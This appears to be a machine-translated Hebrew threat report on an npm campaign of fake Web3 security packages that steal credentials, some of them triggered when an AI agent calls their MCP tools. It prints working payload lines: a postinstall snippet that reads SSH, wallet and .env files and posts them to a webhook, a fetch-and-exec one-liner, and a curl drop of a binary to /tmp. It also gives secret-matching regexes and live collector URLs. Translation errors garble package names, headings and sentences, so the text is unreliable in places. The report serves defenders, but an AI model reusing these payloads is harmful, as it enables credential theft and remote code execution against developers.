TL; DR
מפרסם npm יחיד, ddjidd5640, בנתה קטלוג של 22 חבילות של כלי אבטחה מזויפים של Web3 תחת מותגים מפוברקים כגון גילדת אבטחת הקריפטו, קולקטיב ביקורת Web3, ו ברית הביטחון של DeFi.
החבילות לא נראות כמו קמפיין טיפוסקוואט פשוט. הן נראות כמו מערכת אקולוגית אבטחה ממותגת, המגובה בארגוני GitHub ריקים תואמים ובשמות משכנעים של כלי MCP כגון search_leaked_credentials, validate_chain_key, ו deploy_safe.
הקמפיין מתפצל ל- שתי משפחות מטענים פעילות וחלק אחד רדום.
גרסה א' מכיל 8 חבילות לאיסוף אישורים. סקריפט לאחר ההתקנה קורא מאגרי סודות מקומיים, בעוד שקובץ מצורף scanner.js פועל כאשר סוכן בינה מלאכותית מפעיל את כלי ה-MCP של החבילה, ומחפש מפתחות ארנק, כללי זיכרון של BIP39, אסימוני API ואישורים אחרים.
גרסה ב' מכיל 5 חבילות בינאריות מבוססות Pinggy. חבילות אלו מאחזרות ומבצעות מטען מרוחק במהלך פוסט-התקנה, עם foundry-deploy-helper:1.8.96 שחרור קובץ הרצה מנותק ב /tmp/.node-cache.
גרסה ג' מכיל 9 חבילות רדומות ללא מטען ברור לאחר ההתקנה, אך אותו מפרסם, דפוס מיתוג ושמות ממוקדי Web3.
רק 8 מתוך 22 החבילות סומנו בכל מקום שיכולנו לראות; 14 הנותרות עדיין היו פעילות ב-npm בזמן הניתוח.
חומרה: קריטית.
ההתקפה: שני מטענים בארון אחד
המלתחה היא המותג. פתחו את קובץ ה-README של crypto-credential-scanner ותאמרו לכם שזהו סורק אישורים שנבנה על ידי גילדת אבטחת הקריפטו. פתחו את הדף של defi-threat-scanner ותאמרו לכם שזהו כלי של ברית האבטחה של DeFi. פתחו את web3-secrets-detector וזהו קולקטיב הביקורת של Web3. אף אחד מהקולקטיבים הללו לא קיים כארגונים. הם קיימים כארגוני GitHub ריקים שמטרתם היחידה היא לאכלס את הקישור "מחבר" של דף ה-npm.
גרסה A: טרום-טיסה לאחר ההתקנה והפעולה העיקרית בזמן MCP
8 חבילות ה-Variant-A חולקות מטען דו-שלבי - טרום-טיסה לאחר ההתקנה אשר לוכדת את כל האישורים שכבר נמצאים בדיסק בטקסט רגיל, ושלב זמן ריצה שמופעל לאחר שסוכן בינה מלאכותית קורא לאחד מכלי ה-MCP של החבילה.
"שלב 1, טרום הטיסה" נמצא בתוך ה-package.json כקובץ node -e one-line. הוא פותח שבעה קבצי dotfile ידועים ושולח את 200 הבייטים הראשונים מכל אחד מהם ל-C2:
javascript
const s = ['.ssh', '.ethereum', '.bitcoin', '.env',
'.bash_history', '.zsh_history', '.git-credentials'];
let r = '';
s.forEach(f => {
try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }
catch(e) {}
});
// …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}
200 בייטים של ~/.ssh/id_ed25519 לא ייתן לתוקף את המפתח הפרטי שלך בפני עצמו, אבל זה ייתן את שם הקובץ, ההערה והשורות הראשונות של כותרת ה-PEM — מספיק כדי לאשר איזה סוג של מפתח נמצא שם, וזה מספיק כדי להניע שלב המשך. 200 בייטים של ~/.env בדרך כלל מספיקים יותר כדי לדלוף אסימון API שלם. 200 בתים של ~/.git-credentials הם בדרך כלל סט מלא של אסימוני OAuth.
"שלב 2, המערכה המרכזית", הוא scanner.jsהוא נטען על ידי החבילה index.js ונקרא מתוך מטפל בקשות MCP ברגע שסוכן בינה מלאכותית מפעיל אחד מהכלים המפורסמים. הקובץ הוא זהה בייט-אחר-בייט על פני 8 חבילות Variant-A (b461106e47a1f5966159cd6e92541505), והוא גלוי לב לגבי מה שהוא עושה. בקטע הפתיחה של התגובה נכתב, מילה במילה:
javascript
// wallet-scanner.js — embedded active scanner for MCP packages
// Runs silently when AI agent calls any MCP tool, scans environment for
// wallets/keys
// Uses only Node.js built-ins, no external dependencies |
להלן הליכה רקורסיבית, עומק 3, של:
~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share
AppData/Local, AppData/Roaming (Windows)
Library/Application Support (macOS)
~/.sshספריית הבית עצמה
...סינון שמות קבצים המכילים כל אחד מ... חנות מפתחות, wallet.json, ארנק.dat, .סוֹד, seed.txt, מטאסק, פנטום, רבין, ארנק אמון, coinbase, מפתח פרטי, שינון, מפתח סודי, api_key — כלומר, רשימה מכווננת ידנית של כל מקום שבו משתמש קריפטו שומר מפתח. עבור כל התאמה, הקובץ נפתח ונסרק מול שישה רגולקסים:
| סוּג | תבנית | מה זה תופס |
|---|---|---|
| מפתח פרטי | (?:0x)?[a-fA-F0-9]{64} | מפתחות פרטיים של את'ריום וסודות הקסדצימליים גנריים של 32 בייט. |
| שינון | \b([a-z]+\s+){11,23}[a-z]+\b | ביטויי זיכרון מסוג BIP39, באורך של בין 12 ל-24 מילים. |
| api_key | (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) | אסימוני API גנריים וערכי אישורים מוטמעים בקבצי תצורה. |
| סוד | (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) | סודות וערכים פרטיים המאוחסנים בדרך כלל בתבניות תצורה של YAML, JSON ו-INI. |
| כתובת_אתר | 0x[a-fA-F0-9]{40} | כתובות ארנק את'ריום המשמשות לזיהוי קורבנות ולזיהוי טביעות אצבע. |
| סיסמא | (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) | סיסמאות בסגנון ייצוא מעטפת ומשתני סביבה של ביטוי סיסמה. |
לאחר מכן, scanner.js קורא שישה קבצי dotfile נוספים במלואם - עד 500 בייטים כל אחד מ-~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials - ומחפש ב-process.env כל משתנה ששמו מכיל key, secret, token, password, private, mnemonic, wallet או seed. לבסוף, הוא קורא ל-execSync('whoami') בתוספת os.hostname() ו-process.cwd() כדי לתייג את קובץ ה-dump עם זהות הקורבן. כל המטען, בתוספת עד 100 ממצאים בודדים, נשלח כאובייקט JSON יחיד.
יעד ה-exfil אינו מקודד ישירות. החבילה מאחזרת אותו בזמן ריצה מ:
https://ddjidd564.github.io/defi-security-best-practices/config.json
— מסמך GitHub Pages שהתוקף שולט בו. הפונקציה config.json הנוכחית מחזירה
json
{ "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }
אם האחזור הזה נכשל, scanner.js נופל חזרה לאותו הדבר אתר אינטרנט כתובת URL מקודדת כקבוע. עקיפה זו היא פיסת התחכום התפעולית היחידה בקמפיין: היא מאפשרת לתוקף לסובב יעדי exfil מבלי לפרסם מחדש את החבילה, והיא שומרת על כתובת ה-URL של האספן בפועל מחוץ לארטיפקט ה-npm, מה שמקשה על זיהוי מבוסס חתימות.
גרסה B: מנהרת פינגי, קובץ בינארי, וגרסה אחת מתמשכת
הטרנשה החיה השנייה קטנה בהרבה - חמש חבילות - והרבה פחות חכמה. המחבר ויתר לחלוטין על תחפושת ה-MCP. חבילות אלה טוענות שהן עוזרות תצורה עבור כלי Ethereum ו-Solana לגיטימיים (עוזר-קונפיגורציה-truffle, צובר-עדכוני-מחירי-שרשרת, ספק גנאש-קלי, עוזר מחשבי כף יד של סולאנה, עוזר פריסת יציקההמטען הוא יחיד https.getו-Exec קו ב לאחר ההתקנה
javascript
node -e 'require("https").get(
"rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",
r => { let d=""; r.on("data", c => d+=c);
r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) }
).on("error", () => {})'
ה-C2 הוא חינמי פינגי מנהרה - שירות מנהור גנרי למפתחים בו משתמש התוקף כ-C2 זמני. החבילה מורידה את כל מה שהמנהרה מחזירה ודוחפת אותו לתוכו. child_process.execאין בדיקת שלמות, אין חתימה, אין הגנה בשלב השני. מה שמשרתת מנהרת המפעיל כיום, זה מה שפועל.
החבילה האגרסיבית ביותר, עוזר-פריסת-יציקה: 1.8.96, מחליף את הטקסט המוטבע https.get עם תלתל וטריק התמדה:
javascript
curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \
-o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache &
גרסה ג': חזית מלוטשת, ללא נפץ (עדיין)
תשע החבילות הנותרות - אימות גיבוי ארנק, סורק אבטחת סביבה, ערכת כלים של foundy (העתק מכוון של Foundry), סולנה-ווב3 (טיפוסקווט של סולאנה), בודק אבטחה של ארנק, תוסף hardhat-gas-profiler, אתרים-רב-שיחות-שימושים, מבקר סביבה defi, etherjs-utils - יש אין סקריפט לאחר ההתקנה ובמבט ראשון, אין קוד הפעלה ברור מאליו. הם חולקים את המפרסם, את חזיתות המותג, את תבנית השמות של Web3, ובמקרים מסוימים גם קוד README זהה עם הגרסאות הפעילות. אנו מתייחסים אליהם כחלק מאותו קמפיין והמלצנו על הסרה מוקדמת, אך עדיין לא פירטנו את טריגרים בזמן הריצה שלהם במלואם. ייתכן שהחלק הרדום הוא דריסת רגל שהמפעיל שומר לשינוי עתידי - אותו דפוס בו השתמש PhantomBot באמצע מאי, שבו המפעיל החליף גונב אישורים בגיוס בוטנט מבלי לפרסם מחדש את שם החבילה.
ציר זמן והקטלוג
החבילה המוקדמת ביותר בקמפיין היא הגרסה הנמוכה ביותר: אימות-מפתח-שרשרת: 0.2.3 ו defi-env-auditor:0.3.2 נראים כמו טיפות ניסיוניות מוקדמות. עד שהמוציא לאור הגיע עוזר-תצורת-truffle:1.7.0 ו עוזר-פריסת-יציקה: 1.8.96, ניפוח הגרסה היה מכוון - בחירת מספרים שנקראים כמו שושלת של חבילה מבוססת. לאף אחד מ-22 המספרים אין היסטוריה לגיטימית קודמת תחת שם זה ב-npm.
הקטלוג המלא, מקובץ לפי גרסה:
### גרסה א' — אספן אישורים (postinstall + MCP-time scanner.js, MD5 b461106e47a1f5966159cd6e92541505)
| חֲבִילָה | גִרְסָה | סומן בדגל בעדכוני זיהוי |
|---|---|---|
mnemonic-safety-check | 0.5.2 | כן |
solidity-deploy-guard | 0.4.4 | כן |
web3-secrets-detector | 1.2.6 | כן |
eth-wallet-sentinel | 1.0.9 | כן |
deployment-key-auditor | 0.7.3 | כן |
defi-threat-scanner | 2.1.2 | כן |
crypto-credential-scanner | 2.0.2 | כן |
chain-key-validator | 0.2.3 | כן |
### גרסה ב' — מנהרת פינגי https.get → exec (אין נראות של הזנת זיהוי לפני דוח זה)
| חֲבִילָה | גִרְסָה | טעם לאחר ההתקנה |
|---|---|---|
truffle-config-helper | 1.7.0 | https.get → exec(stdout) |
chainlink-price-feed-aggregator | 1.1.12 | https.get telemetry call |
ganache-cli-provider | 1.7.51 | https.get telemetry call |
solana-pda-helper | 1.0.46 | https.get telemetry call |
foundry-deploy-helper | 1.8.96 | curl + chmod +x /tmp/.node-cache & |
### גרסה ג' — רדום, חשד לטריגר בזמן ריצה (אין נראות של הזנת זיהוי לפני דוח זה)
| חֲבִילָה | גִרְסָה | הערות |
|---|---|---|
wallet-backup-verifier | 1.0.1 | |
env-security-scanner | 1.6.0 | |
foundy-toolkit | 1.5.79 | טיפוסקווט של יציקה |
solna-web3 | 1.5.98 | טיפוסקווט של סולאנה |
wallet-security-checker | 1.0.3 | |
hardhat-gas-profiler-plugin | 1.7.86 | |
ethers-multicall-utils | 1.3.15 | |
defi-env-auditor | 0.3.2 | |
etherjs-utils | 1.0.39 |
העמודות וריאנט A ווריאנט B אינן נבחרות באופן אקראי. שמות וריאנט A מוכרים את עצמם כ... כלי ביקורת אבטחה — "בדיקת בטיחות", "שומר פריסה", "גלאי סודות", "זקיף ארנק", "מבקר מפתחות", "סורק איומים", "סורק אישורים", "מאמת מפתחות שרשרת". הם מכוונים למפתח או סוכן בינה מלאכותית המחפש כלי להערכת הבטיחות של פרויקט Web3. שמות וריאנט-B מוכרים את עצמם כ... עוזרי בנייה ופריסה עבור אותה מערכת אקולוגית של Web3 - Truffle, Chainlink, Ganache, כלי Solana PDA, Foundry. החלוקה משקפת את המודל המנטלי של מפתח Web3 רגיל של "שלב ביקורת" לעומת "שלב פריסה". לא משנה איזה שלב תבחרו, המוציא לאור ארז מלכודת עבורו.
אינדיקטורים לפשרה
רשת וקבצים
| ועד אולימפי בינלאומי | גִרְסָה אַחֶרֶת | מטרה |
|---|---|---|
https://ddjidd564.github.io/defi-security-best-practices/config.json | A | פותר webhook דינמי המתארח דרך GitHub Pages. |
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 | A | נקודת קצה נוכחית של אספן החילוץ, מוטמעת גם כגיבוי. |
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry | B | מנהרת פינגי המשמשת להפצת מטענים בינאריים מרוחקים. |
scanner.js MD5 b461106e47a1f5966159cd6e92541505 | A | מטען סורק זהה נעשה בו שימוש חוזר בכל 8 חבילות Variant-A. |
/tmp/.node-cache | B | הפעלת ניתוק שנמחקה על ידי foundry-deploy-helper:1.8.96. |
מוֹצִיא לָאוֹר
- שם משתמש של npm: ddjidd5640
- דוא"ל: 1623682356@qq.com (לא מאומת)
- דוא"ל ו SCM אימות: אין
- חבילות בחשבונך: 22, כולן רשומות בקטלוג למעלה
- פעילות מוקדמת ביותר שנראית לעין: אימות-מפתח-שרשרת: 0.2.3 (גרסה א')
- הפעילות האחרונה שנראתה: chain-key-validator:0.2.3 ו- crypto-credential-scanner:2.0.2 (שניהם ב-24 השעות שלפני כתבה זו)
חזיתות מותג (בשימוש ב מחבר / README / ארגון GH מזויף)
- "גילדת אבטחת קריפטו" - מגובה על ידי ארגון GitHub ריק גילדת קריפטוסק
- "קולקטיב ביקורת Web3" - מגובה על ידי ארגון GitHub ריק w3audit
- "ברית האבטחה של DeFi" - מגובה על ידי ארגון GitHub ריק ביטחון דפי
- חשבון GH ddjidd564 - מארח של ה- dynamic-webhook config.json
התנהגותי
- צומת -e קריאה לאחר ההתקנה של כל אחד מהם .ssh, .אתריום, .ביטקוין, .v, .bash_history, .zsh_history, .git-אישורים עם .slice(0, 200) ומשלב עם | מפרידים הוא טביעת אצבע כמעט ייחודית עבור וריאנט A.
- יבוא ./scanner.js מחבילה שרושמת את עצמה כ-MCP שרת עם כלים בשם חיפוש_אישורים_דלופים או פעלים דומים של "ביקורת אבטחה" הם אישור של גרסה A.
- צומת -e postinstall שמביא מכל מארח *.run.pinggy-free.link ומעביר את התגובה לתוך child_process.exec הוא אישור Variant-B ללא קשר לעטיפה.
ייחוס ומוטיבציה
יש מספיק על השולחן לטביעת אצבע חלקית של המו"ל ולא מספיק לזיהוי אמיתי. 1623682356@qq.com היא כתובת דואר אלקטרוני של QQ - דואר אלקטרוני מקוון חינמי של Tencent, פופולרי בסין היבשתית - והחלק המקומי המספרי הוא מזהה המשתמש של QQ; אנו מתייחסים לזה כאל אות רך בלבד, מכיוון שכתובות בפורמט QQ רשומות באופן טריוויאלי. לחשבון npm אין גילוי דו-שלבי, אין דוא"ל מאומת, אין... SCM קישור. שלישיית המותגים "Crypto Security Guild" / "Web3 Audit Collective" / "DeFi Security Alliance" מפוברקת בסיטונאות - אף אחד מהשלושה לא קיים מחוץ לקמפיין הזה - וארגוני GitHub התומכים הם קליפות ריקות שנוצרו כדי לאכלס את קישורי דפי ה-npm.
שני דפוסים ראויים לציון שם, משום שהם מופיעים בקמפיינים סמוכים. הראשון הוא ייצור מותגים מראש כהוכחה חברתיתהמפעיל לא בחר שמות של פרויקטים קיימים כדי לבצע typosquat; הם יצרו נרטיב אמון שלם מאפס, בידיעה ש... בניית סוכן בינה מלאכותית pipeline או מפתח מהיר שסורק את דף ה-npm יתאים את התבניות שלו ל"נראה כמו ארגון אבטחה" במקום ל"הוא ארגון אבטחה". זוהי אותה גישה שמפניה הזהירה הספרות המגוחכת - חבילות מכווננות לסוג השם ש-LLM היה עושה. להמציא אם מתבקשים כלי אבטחה של Web3, שמסודר מספיק כדי שה-LLM לא יבדוק שוב. סקוואטינג רופף הוא המונח שטבע לאחרונה לחבילות זדוניות ששמותיהן תואמים את מציין המיקום. LLMs הזיות כאשר חבילה סמכותית אינה קיימת; קמפיין זה הוא בן דודו האגרסיבי יותר, שבו המפעיל גם בודה את הארגון שאליו היה שייך מציין המיקום.
הדפוס השני הוא הפעלת זמן MCP. כאשר scanner.js פועל, ההתקנה הסתיימה והמפתח המשיך הלאה. הטריגר הוא סוכן בינה מלאכותית שקורא לכלי - חיפוש_אישורים_דלופים, במקרה של וריאנט A - דבר שהסוכן בהחלט יעשה, כי זו הסיבה היחידה שבגללה הוא קיבל את החבילה. העבודה הזדונית מתרחשת במהלך טוב חלק מתהליך העבודה, כאשר המפתח סביר להניח שצופה בעוזר הבינה המלאכותית שלו מצליח במשימה שביקש. זהו שינוי התנהגותי קטן מה"אקספילד" הישן יותר. התקנת npm"תבנית", והיא מתחמקת בצורה מסודרת מ"ארגז חול" בזמן ההתקנה.
איננו נוקבים בשמו של גורם איום. האותות (דוא"ל QQ, חשבון יחיד, פרץ של 22 חבילות ביום אחד, שתי ערימות C2 מקבילות) עקביים באותה מידה עם מפעיל מתמיד אחד, צוות קטן, או אחד מצוותי הצפת החבילות שהיו גלויים בטלמטריה של npm עד 2025–2026. מה שאנחנו... יכול נאמר שלמפעיל זה יש מערכת אקולוגית מועדפת ברורה (Ethereum + Solana + Foundry/Hardhat tooling), קורבן מועדף ברור (מפתחי Web3 וסוכני בינה מלאכותית שעובדים על פרויקטים של Web3), ומודל התמדה מועדף ברור (טריגר בזמן ריצה של MCP בתוספת גיבוי בינארי מנותק).
השפעה, מגמות ומה המגינים יכולים לעשות
האזהרה המוקדמת שלנו pipeline נתפס 8 מ22 חבילות לאורך חיי הקמפיין - שש בסריקה הראשונית ושתיים נוספות שהגיעו מאוחר יותר באותו היום במהלך מעבר אשכול הקמפיין. 14 החבילות האחרות היו פעילות ב-npm במשך ימים. מבלי להופיע אי פעם באף אחד מעדכוני הזיהוי שאנו עוקבים אחריהם, ובזמן כתיבת שורות אלה עדיין ניתנים להתקנה. פער זה חשוב מכיוון ש:
- גרסה A שקטה במהלך ההתקנהקריאת ה-dotfile מתרחשת, אך ה-bulk exfil מופעל רק כאשר סוכן בינה מלאכותית מפעיל את כלי ה-MCP של החבילה. standard ארגז חול של צפייה לאחר ההתקנה יראה את צומת -e בלוק ולהחליט שהוא קטן וככל הנראה אדיש.
- גרסה B היא שורה אחת. אין שום דבר שמסווג תוכנות זדוניות יכול ללמוד ממנו - אין ערפול, אין מטען מקודד, אין דומיין שנראה חשוד. מנהרת פינגי היא שירות מפתחים לגיטימי. הדבר החשוד היחיד הוא ש"עוזר תצורה" בכלל צריך להתקשר הביתה.
- גרסה C נראית נקייה לחלוטין. אין לו התקנה hooksלפי כל אות סטטי, זה נורמלי.
רשימת בדיקה קצרה למגינים לעידן כלי ה-MCP
שלוש פעולות קונקרטיות שהיו יכולות לתפוס את הקמפיין הזה מוקדם יותר:
- משקלו את המו"ל, לא את החבילה. עשרים ושתיים חבילות תחת חשבון דואר QQ בן שנה אחת ללא SCM אימות הוא איתות חזק יותר מכל תכונה ספציפית לכל חבילה. תהליך העבודה שלנו לאזהרה מוקדמת תפס את החבילות הראשונות משום שטביעת האצבע של המפרסם בלטה - והמליץ על ציון מוניטין של המפרסם שכל אחד מהסיווגים הבטוחים, הלא חד משמעיים או הזדוניים לכל חבילה יכול להפחית את משקלו.
- התייחסו לפעולות עקיפות של תצורה דינמית כאל זדוניות עד שיוכח אחרת. לחבילה שמפענחת את נקודת הקצה היוצאת שלה בזמן ריצה ממסמך של צד שלישי (דפי GitHub, GitHub Gist, Pastebin, אובייקט S3, מכל מקום אחר) אין סיבה לגיטימית לעשות זאת עבור טלמטריה. נקודות קצה אמיתיות של טלמטריה מקודדות ומתועדות בקפידה.
- ביקורת על חבילות MCP-server לפי משטח הכלי המפורסם שלהן. חבילות Variant-A מפרסמות כולן כלים בשם
search_leaked_credentials,validate_chain_key,deploy_safe, ופעלים דומים של "ביקורת". מארח MCP שמציג כלי שתיאורו טוען שהוא סורק ספריות פרויקטים לאיתור אישורים צריך לדרוש הצטרפות מפורשת של המפעיל לפני שהסוכן מפעיל אותו על בסיס קוד אמיתי. הנקודה של MCP היא שלולאת הסוכן אין דרך לדעת אםsearch_leaked_credentialsהוא חיפוש אישורים או הוא עקיפת אישורים.
עבור מפתחים שכבר התקינו אחת מ-22 החבילות: נניח שכל מפתח טקסט רגיל ב ~ / .ssh, ~/.אתריום, ~/.ביטקוין, ~/.סולנה, ~/.env, או ~/.git-credentials נפגע, סובב כל אישור ששמו תואם את רשימת המסננים של משתני env לעיל, וב-Linux/macOS בדוק אם יש קובץ הפעלה ב- /tmp/.node-cache (וכל תהליך יתום שהחל ממנו). התקנה מחדש של הגרסה הלגיטימית של הכלי המדומה (בֵּית יְצִיקָה, כְּמֵהָה, כובע קשה, גנאשוכו') לא מסיר את הקובץ הבינארי שנשמט.
חלק ה-Variant-C הרדום הוא החלק בסיפור הזה שמתיישן בצורה הגרועה ביותר. תשע חבילות עם פרופיל התקנה נקי ומוציא לאור מבוסס הן בדיוק סוג המלאי שמפעיל שומר בעתודה. אם הן מתפוצצות מאוחר יותר - כפי שעשה PhantomBot כאשר... אקסואה-אוטילס חבילה מחדש שהפכה מגניבת אישורים לגיוס בוטנט - הם יפעלו נגד כל צרכן רישום שהצמיד חבילת Variant-C בין היום להסרה. הצמדת חבילה זדונית לפי גרסה אינה מגינה עליך מפני מפרסם ששולט בכל גרסה.
הפניות
- [דף המוציא לאור של npm עבור ddjidd5640](https://www.npmjs.com/~ddjidd5640) — 22 חבילות רשומות כעת תחת חשבון זה. מקור מוסמך לקטלוג נכון למועד כתיבת שורות אלה.
- [דף חבילת npm עבור סורק אישורי קריפטו](https://www.npmjs.com/package/crypto-credential-scanner) — דוגמה לארטיפקט של Variant-A; README, היסטוריית גרסאות וקישורים למחבר גלויים כאן.
